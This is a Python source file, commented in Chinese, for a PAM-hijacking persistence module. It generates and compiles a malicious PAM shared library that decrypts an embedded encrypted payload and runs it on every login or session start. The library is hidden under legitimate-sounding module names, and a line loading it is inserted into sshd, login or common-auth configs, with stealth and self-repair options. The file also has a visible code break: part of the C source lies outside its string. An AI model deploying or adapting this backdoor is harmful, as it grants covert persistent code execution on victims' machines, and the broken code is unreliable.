#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PAM模块劫持权限维持模块
实现基于PAM模块劫持的权限维持技术
"""

import os
import sys
import json
import shutil
import subprocess
import tempfile
from typing import Dict, List, Optional, Tuple
from pathlib import Path
import hashlib

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent.parent.parent
sys.path.insert(0, str(project_root))

from modules.persistence.base import (
    BasePersistenceModule, PersistenceConfig, PersistenceResult, 
    PersistenceStatus, PersistenceLevel
)


class PAMPersistenceModule(BasePersistenceModule):
    """PAM模块劫持权限维持模块"""
    
    def __init__(self):
        super().__init__("pam")
        self.module_version = "1.0.0"
        self.supported_platforms = ["linux"]
        
        # PAM相关路径
        self.pam_paths = {
            'modules': [
                '/lib/security/',
                '/lib64/security/',
                '/usr/lib/security/',
                '/usr/lib64/security/',
                '/lib/x86_64-linux-gnu/security/',
                '/usr/lib/x86_64-linux-gnu/security/'
            ],
            'config': [
                '/etc/pam.d/',
                '/etc/pam.conf'
            ]
        }
        
        # 目标PAM服务
        self.target_services = [
            'sshd', 'login', 'su', 'sudo', 'passwd', 'common-auth',
            'system-auth', 'gdm', 'lightdm', 'kde', 'gnome-screensaver'
        ]
        
        # 恶意PAM模块模板路径
        self.template_path = Path(__file__).parent / "libpam_mal.so"
        
    def deploy(self, config: PersistenceConfig) -> PersistenceResult:
        """部署PAM模块劫持权限维持"""
        try:
            # 平台检查
            if not self.is_platform_supported():
                return PersistenceResult(
                    success=False,
                    message="不支持的平台，需要Linux系统",
                    instance_id=None
                )
            
            # 验证配置
            validation_result = self.validate_config(config)
            if not validation_result.success:
                return validation_result
            
            # 检查权限
            if not self._check_root_privileges():
                return PersistenceResult(
                    success=False,
                    message="需要root权限来修改PAM配置",
                    instance_id=None
                )
            
            # 生成实例ID
            instance_id = self.generate_instance_id()
            
            # 选择PAM模块路径
            pam_module_path = self._select_pam_module_path()
            if not pam_module_path:
                return PersistenceResult(
                    success=False,
                    message="未找到可用的PAM模块路径",
                    instance_id=None
                )
            
            # 生成恶意PAM模块
            malicious_module_name = self._generate_module_name(config.stealth_level)
            malicious_module_path = os.path.join(pam_module_path, malicious_module_name)
            
            # 创建恶意PAM模块
            module_creation_result = self._create_malicious_pam_module(
                config, malicious_module_path
            )
            if not module_creation_result:
                return PersistenceResult(
                    success=False,
                    message="创建恶意PAM模块失败",
                    instance_id=None
                )
            
            # 选择目标PAM服务
            target_service = self._select_target_service(config.stealth_level)
            
            # 修改PAM配置
            config_modification_result = self._modify_pam_config(
                target_service, malicious_module_name, config.stealth_level
            )
            if not config_modification_result:
                return PersistenceResult(
                    success=False,
                    message="修改PAM配置失败",
                    instance_id=None
                )
            
            # 保存实例配置
            instance_config = {
                'malicious_module_path': malicious_module_path,
                'malicious_module_name': malicious_module_name,
                'target_service': target_service,
                'pam_module_path': pam_module_path,
                'payload': config.payload,
                'stealth_level': config.stealth_level,
                'created_time': self.get_current_time(),
                'backup_files': config_modification_result.get('backup_files', [])
            }
            self.save_instance_config(instance_id, instance_config)
            
            self.logger.info(f"PAM模块劫持权限维持部署成功: {malicious_module_name}")
            
            return PersistenceResult(
                success=True,
                message=f"PAM模块劫持权限维持部署成功: {malicious_module_name}",
                instance_id=instance_id,
                details={
                    'malicious_module_name': malicious_module_name,
                    'target_service': target_service,
                    'module_path': malicious_module_path
                }
            )
            
        except Exception as e:
            error_msg = f"部署PAM模块劫持权限维持失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=None
            )
    
    def check_alive(self, instance_id: str) -> PersistenceResult:
        """检查PAM模块劫持状态"""
        try:
            instance_config = self.load_instance_config(instance_id)
            if not instance_config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在",
                    instance_id=instance_id
                )
            
            malicious_module_path = instance_config['malicious_module_path']
            target_service = instance_config['target_service']
            malicious_module_name = instance_config['malicious_module_name']
            
            # 检查恶意模块文件是否存在
            module_exists = os.path.exists(malicious_module_path)
            
            # 检查PAM配置是否包含恶意模块
            config_contains_module = self._check_pam_config_contains_module(
                target_service, malicious_module_name
            )
            
            # 检查模块是否可加载
            module_loadable = self._check_module_loadable(malicious_module_path)
            
            status = PersistenceStatus.ACTIVE if (
                module_exists and config_contains_module and module_loadable
            ) else PersistenceStatus.INACTIVE
            
            return PersistenceResult(
                success=True,
                message="PAM模块劫持状态检查完成",
                instance_id=instance_id,
                details={
                    'module_exists': module_exists,
                    'config_contains_module': config_contains_module,
                    'module_loadable': module_loadable,
                    'status': status.value,
                    'target_service': target_service,
                    'module_path': malicious_module_path
                }
            )
            
        except Exception as e:
            error_msg = f"检查PAM模块劫持状态失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=instance_id
            )
    
    def repair(self, instance_id: str) -> PersistenceResult:
        """修复PAM模块劫持"""
        try:
            instance_config = self.load_instance_config(instance_id)
            if not instance_config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在",
                    instance_id=instance_id
                )
            
            malicious_module_path = instance_config['malicious_module_path']
            target_service = instance_config['target_service']
            malicious_module_name = instance_config['malicious_module_name']
            
            repair_actions = []
            
            # 检查并修复恶意模块文件
            if not os.path.exists(malicious_module_path):
                config = PersistenceConfig(
                    payload=instance_config['payload'],
                    stealth_level=instance_config['stealth_level']
                )
                
                if self._create_malicious_pam_module(config, malicious_module_path):
                    repair_actions.append("重新创建恶意PAM模块")
                else:
                    return PersistenceResult(
                        success=False,
                        message="重新创建恶意PAM模块失败",
                        instance_id=instance_id
                    )
            
            # 检查并修复PAM配置
            if not self._check_pam_config_contains_module(target_service, malicious_module_name):
                config_result = self._modify_pam_config(
                    target_service, malicious_module_name, instance_config['stealth_level']
                )
                if config_result:
                    repair_actions.append("重新修改PAM配置")
                else:
                    return PersistenceResult(
                        success=False,
                        message="重新修改PAM配置失败",
                        instance_id=instance_id
                    )
            
            self.logger.info(f"PAM模块劫持修复完成: {malicious_module_name}")
            
            return PersistenceResult(
                success=True,
                message=f"PAM模块劫持修复完成: {malicious_module_name}",
                instance_id=instance_id,
                details={
                    'repair_actions': repair_actions,
                    'module_name': malicious_module_name
                }
            )
            
        except Exception as e:
            error_msg = f"修复PAM模块劫持失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=instance_id
            )
    
    def clean(self, instance_id: str) -> PersistenceResult:
        """清理PAM模块劫持"""
        try:
            instance_config = self.load_instance_config(instance_id)
            if not instance_config:
                return PersistenceResult(
                    success=False,
                    message="实例配置不存在",
                    instance_id=instance_id
                )
            
            malicious_module_path = instance_config['malicious_module_path']
            target_service = instance_config['target_service']
            malicious_module_name = instance_config['malicious_module_name']
            backup_files = instance_config.get('backup_files', [])
            
            cleanup_actions = []
            
            # 恢复PAM配置文件
            for backup_file in backup_files:
                original_file = backup_file.replace('.backup', '')
                if os.path.exists(backup_file):
                    shutil.move(backup_file, original_file)
                    cleanup_actions.append(f"恢复PAM配置文件: {original_file}")
            
            # 删除恶意PAM模块
            if os.path.exists(malicious_module_path):
                os.remove(malicious_module_path)
                cleanup_actions.append("删除恶意PAM模块")
            
            # 删除实例配置
            self.delete_instance_config(instance_id)
            cleanup_actions.append("删除实例配置")
            
            self.logger.info(f"PAM模块劫持清理完成: {malicious_module_name}")
            
            return PersistenceResult(
                success=True,
                message=f"PAM模块劫持清理完成: {malicious_module_name}",
                instance_id=instance_id,
                details={
                    'cleanup_actions': cleanup_actions,
                    'module_name': malicious_module_name
                }
            )
            
        except Exception as e:
            error_msg = f"清理PAM模块劫持失败: {str(e)}"
            self.logger.error(error_msg)
            return PersistenceResult(
                success=False,
                message=error_msg,
                instance_id=instance_id
            )
    
    def list_instances(self) -> List[Dict]:
        """列出所有PAM模块劫持实例"""
        instances = []
        
        for instance_id in self.get_all_instance_ids():
            instance_config = self.load_instance_config(instance_id)
            if instance_config:
                # 检查当前状态
                check_result = self.check_alive(instance_id)
                
                instances.append({
                    'instance_id': instance_id,
                    'module_name': instance_config.get('malicious_module_name'),
                    'target_service': instance_config.get('target_service'),
                    'module_path': instance_config.get('malicious_module_path'),
                    'stealth_level': instance_config.get('stealth_level'),
                    'created_time': instance_config.get('created_time'),
                    'status': check_result.details.get('status') if check_result.success else 'unknown',
                    'module_exists': check_result.details.get('module_exists') if check_result.success else False
                })
        
        return instances
    
    def _check_root_privileges(self) -> bool:
        """检查是否有root权限"""
        return os.geteuid() == 0
    
    def _select_pam_module_path(self) -> Optional[str]:
        """选择PAM模块路径"""
        for path in self.pam_paths['modules']:
            if os.path.exists(path) and os.access(path, os.W_OK):
                return path
        return None
    
    def _generate_module_name(self, stealth_level: int) -> str:
        """生成恶意模块名称"""
        if stealth_level >= 7:
            # 高隐蔽性：伪装成合法模块
            legitimate_names = [
                'pam_security.so', 'pam_helper.so', 'pam_check.so',
                'pam_audit.so', 'pam_monitor.so', 'pam_verify.so'
            ]
            import random
            return random.choice(legitimate_names)
        else:
            # 普通隐蔽性：简单随机名称
            import random
            return f"pam_module_{random.randint(1000, 9999)}.so"
    
    def _create_malicious_pam_module(self, config: PersistenceConfig, output_path: str) -> bool:
        """创建恶意PAM模块"""
        try:
            # 生成PAM模块C代码
            c_code = self._generate_pam_module_code(config)
            
            # 创建临时C文件
            with tempfile.NamedTemporaryFile(mode='w', suffix='.c', delete=False) as f:
                f.write(c_code)
                c_file_path = f.name
            
            try:
                # 编译PAM模块
                compile_cmd = [
                    'gcc', '-shared', '-fPIC', '-o', output_path,
                    c_file_path, '-lpam'
                ]
                
                result = subprocess.run(compile_cmd, capture_output=True, text=True)
                
                if result.returncode == 0:
                    # 设置权限
                    os.chmod(output_path, 0o755)
                    return True
                else:
                    self.logger.error(f"编译PAM模块失败: {result.stderr}")
                    return False
                    
            finally:
                # 清理临时文件
                os.unlink(c_file_path)
                
        except Exception as e:
            self.logger.error(f"创建恶意PAM模块失败: {e}")
            return False
    
    def _generate_pam_module_code(self, config: PersistenceConfig) -> str:
        """生成PAM模块C代码"""
        # 使用高级加密技术
        try:
            import sys
            sys.path.append('/tmp')
            from modules.security.advanced_encryption import AdvancedEncryption
            
            enc = AdvancedEncryption()
            encrypted_payload = enc.encrypt_payload(config.payload, "pam_module")
            master_key = enc.master_key
            
            c_code = f'''
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

// 高级解密并执行payload
void execute_payload() {{
    char *encrypted_data = "{encrypted_payload}";
    char *master_key = "{master_key}";
    char cmd[4096];
    
    // 使用Python解密
    snprintf(cmd, sizeof(cmd), 
        "python3 -c \\"import sys; sys.path.append('/tmp'); "
        "from modules.security.advanced_encryption import AdvancedEncryption; "
        "enc = AdvancedEncryption('%s'); "
        "payload = enc.decrypt_payload('%s', 'pam_module'); "
        "import os; os.system(payload)\\" 2>/dev/null &", 
        master_key, encrypted_data);
    
    system(cmd);
}}'''
            
        except ImportError:
            # 降级方案：使用XOR+压缩替代Base64
            import hashlib
            import zlib
            
            # 压缩载荷
            compressed = zlib.compress(config.payload.encode())
            
            # XOR加密
            key = hashlib.sha256("pam_backdoor_key".encode()).digest()
            encrypted = bytes(a ^ b for a, b in zip(compressed, key * (len(compressed) // len(key) + 1)))
            
            # 转换为C数组格式
            hex_data = encrypted.hex()
            key_hex = key.hex()
            
            c_code = f'''
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

// XOR解密并执行payload
void execute_payload() {{
    char hex_data[] = "{hex_data}";
    char key_hex[] = "{key_hex}";
    char cmd[2048];
    
    // 使用Python进行解密和解压缩
    snprintf(cmd, sizeof(cmd), 
        "python3 -c \\"import hashlib, zlib; "
        "hex_data='%s'; key_hex='%s'; "
        "encrypted = bytes.fromhex(hex_data); "
        "key = bytes.fromhex(key_hex); "
        "decrypted = bytes(a ^ b for a, b in zip(encrypted, key * (len(encrypted) // len(key) + 1))); "
        "payload = zlib.decompress(decrypted).decode(); "
        "import os; os.system(payload)\\" 2>/dev/null &", 
        hex_data, key_hex);
    
    system(cmd);
}}'''

// PAM认证函数
PAM_EXTERN int pam_sm_authenticate(pam_handle_t *pamh, int flags,
                                   int argc, const char **argv) {{
    // 执行恶意payload
    if (fork() == 0) {{
        execute_payload();
        exit(0);
    }}
    
    // 返回成功，不影响正常认证流程
    return PAM_SUCCESS;
}}

// PAM会话管理函数
PAM_EXTERN int pam_sm_setcred(pam_handle_t *pamh, int flags,
                              int argc, const char **argv) {{
    return PAM_SUCCESS;
}}

PAM_EXTERN int pam_sm_open_session(pam_handle_t *pamh, int flags,
                                   int argc, const char **argv) {{
    // 在会话开始时也执行payload
    if (fork() == 0) {{
        execute_payload();
        exit(0);
    }}
    
    return PAM_SUCCESS;
}}

PAM_EXTERN int pam_sm_close_session(pam_handle_t *pamh, int flags,
                                    int argc, const char **argv) {{
    return PAM_SUCCESS;
}}
'''
        return c_code
    
    def _select_target_service(self, stealth_level: int) -> str:
        """选择目标PAM服务"""
        if stealth_level >= 8:
            # 高隐蔽性：选择不常用的服务
            low_profile_services = ['gnome-screensaver', 'lightdm', 'kde']
            for service in low_profile_services:
                if self._pam_service_exists(service):
                    return service
        
        # 默认选择常用服务
        for service in ['sshd', 'login', 'common-auth']:
            if self._pam_service_exists(service):
                return service
        
        return 'sshd'  # 默认
    
    def _pam_service_exists(self, service: str) -> bool:
        """检查PAM服务是否存在"""
        service_file = f"/etc/pam.d/{service}"
        return os.path.exists(service_file)
    
    def _modify_pam_config(self, service: str, module_name: str, stealth_level: int) -> Optional[Dict]:
        """修改PAM配置"""
        try:
            service_file = f"/etc/pam.d/{service}"
            
            if not os.path.exists(service_file):
                return None
            
            # 备份原始文件
            backup_file = f"{service_file}.backup"
            shutil.copy2(service_file, backup_file)
            
            # 读取原始配置
            with open(service_file, 'r') as f:
                lines = f.readlines()
            
            # 生成恶意配置行
            malicious_line = self._generate_pam_config_line(module_name, stealth_level)
            
            # 插入恶意配置
            if stealth_level >= 7:
                # 高隐蔽性：插入到中间位置
                insert_pos = len(lines) // 2
            else:
                # 普通隐蔽性：插入到开头
                insert_pos = 0
            
            lines.insert(insert_pos, malicious_line + '\n')
            
            # 写入修改后的配置
            with open(service_file, 'w') as f:
                f.writelines(lines)
            
            return {
                'backup_files': [backup_file],
                'modified_file': service_file
            }
            
        except Exception as e:
            self.logger.error(f"修改PAM配置失败: {e}")
            return None
    
    def _generate_pam_config_line(self, module_name: str, stealth_level: int) -> str:
        """生成PAM配置行"""
        if stealth_level >= 8:
            # 高隐蔽性：使用optional控制
            return f"auth    optional    {module_name}"
        else:
            # 普通隐蔽性：使用required控制
            return f"auth    required    {module_name}"
    
    def _check_pam_config_contains_module(self, service: str, module_name: str) -> bool:
        """检查PAM配置是否包含指定模块"""
        try:
            service_file = f"/etc/pam.d/{service}"
            
            if not os.path.exists(service_file):
                return False
            
            with open(service_file, 'r') as f:
                content = f.read()
            
            return module_name in content
            
        except Exception:
            return False
    
    def _check_module_loadable(self, module_path: str) -> bool:
        """检查模块是否可加载"""
        try:
            # 使用ldd检查依赖
            result = subprocess.run(['ldd', module_path], 
                                  capture_output=True, text=True)
            
            # 如果ldd成功且没有"not found"，则认为可加载
            return result.returncode == 0 and "not found" not in result.stdout
            
        except Exception:
            return False
    
    def validate_config(self, config: PersistenceConfig) -> PersistenceResult:
        """验证配置"""
        if not config.payload:
            return PersistenceResult(
                success=False,
                message="payload不能为空",
                instance_id=None
            )
        
        if config.stealth_level < 1 or config.stealth_level > 10:
            return PersistenceResult(
                success=False,
                message="stealth_level必须在1-10之间",
                instance_id=None
            )
        
        # 检查编译工具
        try:
            subprocess.run(['gcc', '--version'], capture_output=True, check=True)
        except (subprocess.CalledProcessError, FileNotFoundError):
            return PersistenceResult(
                success=False,
                message="需要安装gcc编译器",
                instance_id=None
            )
        
        return PersistenceResult(
            success=True,
            message="配置验证通过",
            instance_id=None
        )


# 模块注册
def get_module():
    """获取模块实例"""
    return PAMPersistenceModule()


if __name__ == "__main__":
    # 测试代码
    module = PAMPersistenceModule()
    
    # 测试配置
    config = PersistenceConfig(
        payload="echo 'PAM test' >> /tmp/pam_test.log",
        stealth_level=7
    )
    
    print("=== PAM模块劫持权限维持模块测试 ===")
    print(f"模块信息: {module.get_module_info()}")
    print(f"平台支持: {module.is_platform_supported()}")
    print(f"Root权限: {module._check_root_privileges()}")
    
    # 配置验证测试
    validation_result = module.validate_config(config)
    print(f"配置验证: {validation_result}")
    
    if validation_result.success and module._check_root_privileges():
        # 部署测试
        result = module.deploy(config)
        print(f"部署结果: {result}")
        
        if result.success:
            instance_id = result.instance_id
            
            # 检查状态
            check_result = module.check_alive(instance_id)
            print(f"状态检查: {check_result}")
            
            # 列出实例
            instances = module.list_instances()
            print(f"实例列表: {instances}")
            
            # 清理测试
            clean_result = module.clean(instance_id)
            print(f"清理结果: {clean_result}")
    else:
        print("跳过部署测试（需要root权限和gcc编译器）")